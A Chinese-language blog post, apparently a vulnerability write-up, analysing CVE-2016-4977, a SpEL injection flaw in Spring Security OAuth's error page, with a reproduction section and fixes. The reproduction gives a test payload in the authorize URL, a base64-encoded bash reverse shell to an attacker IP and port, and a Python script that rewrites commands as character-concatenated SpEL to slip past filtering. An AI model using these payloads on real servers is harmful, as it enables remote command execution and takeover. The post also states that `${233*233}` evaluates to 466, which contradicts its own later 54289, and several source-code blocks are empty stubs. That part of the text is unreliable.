CVE-2016-4977源码分析与漏洞复现
漏洞概述
CVE-2016-4977 是 Spring Security OAuth 模块中的一个高危远程代码执行漏洞,影响版本为 1.0.0–1.0.5 和 2.0.0–2.0.9。攻击者通过构造恶意 SpEL(Spring Expression Language)表达式注入到错误处理流程中,触发远程命令执行。该漏洞的利用需攻击者具备合法身份认证(如通过 OAuth 授权流程),但在已授权场景下可直接接管服务器权限。
技术细节分析
1. 漏洞成因
- Whitelabel 视图的 SpEL 解析缺陷:
Spring Security OAuth 在处理错误页面(如认证失败)时,使用WhitelabelErrorEndpoint
渲染错误信息。错误信息中的errorSummary
参数未对用户输入进行过滤,直接通过SpelView
渲染模板,导致 SpEL 表达式被解析执行。 - 递归解析漏洞:
PropertyPlaceholderHelper
在处理模板时递归解析${}
内的内容,攻击者可通过构造多层嵌套表达式绕过防御机制,例如${T(java.lang.Runtime).getRuntime().exec("calc")}
。
2. 源码分析
关键代码 1:错误处理逻辑(WhitelabelErrorEndpoint.java)
1 |
|
- 问题点:
errorSummary
直接取自用户可控参数(如redirect_uri
或response_type
),未进行转义或过滤。通过SpelView
渲染时,${errorSummary}
中的恶意表达式被解析执行。
关键代码 2:SpEL 模板渲染(SpelView.java)
1 |
|
- 问题点:
replacePlaceholders
方法递归解析${}
内容,例如若errorSummary
包含${233*233}
,表达式会被计算为466
,若包含恶意命令(如Runtime.exec()
),则直接执行。
漏洞复现步骤
1. 环境搭建
1 |
|
2. 攻击验证
Payload 1(表达式验证)
访问以下 URL,触发表达式计算:
1
http://target:8080/oauth/authorize?response_type=${233*233}&client_id=acme&redirect_uri=http://test
- 结果:页面显示
errorSummary
为54289
,证明表达式被执行。
Payload 2(反弹 Shell)
- 生成反弹shell 其中
1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==
是bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
的base64编码(换成自己攻击机的ip和监听端口) - 开启监听
- 用
python
脚本生成payload
由于传统反弹shell被spring后端过滤了,因此采用将反弹shell拆分,并且转化为ASCII码
拼接起来,以此来绕过防护。1
2
3
4
5
6message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)输入之前的反弹shell
- 生成
Payload
后,构造 URL:
1 |
|

- 结果:成功在攻击机监听的端口获取 Shell
。

修复方案
升级版本:
升级至 Spring Security OAuth 2.0.10+ 或 **1.0.6+**,官方修复了 SpEL 表达式的递归解析问题。补丁机制分析:
修复方案引入RandomValueStringGenerator
,将${errorSummary}
替换为随机字符串前缀(如random{errorSummary}
),仅当占位符前缀匹配随机字符串时才解析表达式,但存在暴力破解风险(随机字符串固定为 6 位)。临时缓解措施:
- 禁用 Whitelabel 错误页面,自定义错误处理逻辑。
- 对用户输入的
redirect_uri
和response_type
参数进行严格校验和过滤。
总结
CVE-2016-4977 的根源在于 Spring Security OAuth 对用户输入缺乏安全处理,导致 SpEL 注入。其修复方案通过随机化占位符前缀限制表达式解析,但开发者仍需警惕类似递归解析漏洞。实际开发中,应遵循最小化输入信任原则,避免直接渲染未经验证的用户输入。
参考来源
CVE-2016-4977源码分析与漏洞复现
https://spinage.top/2025/07/03/CVE-2016-4977源码分析与漏洞复现/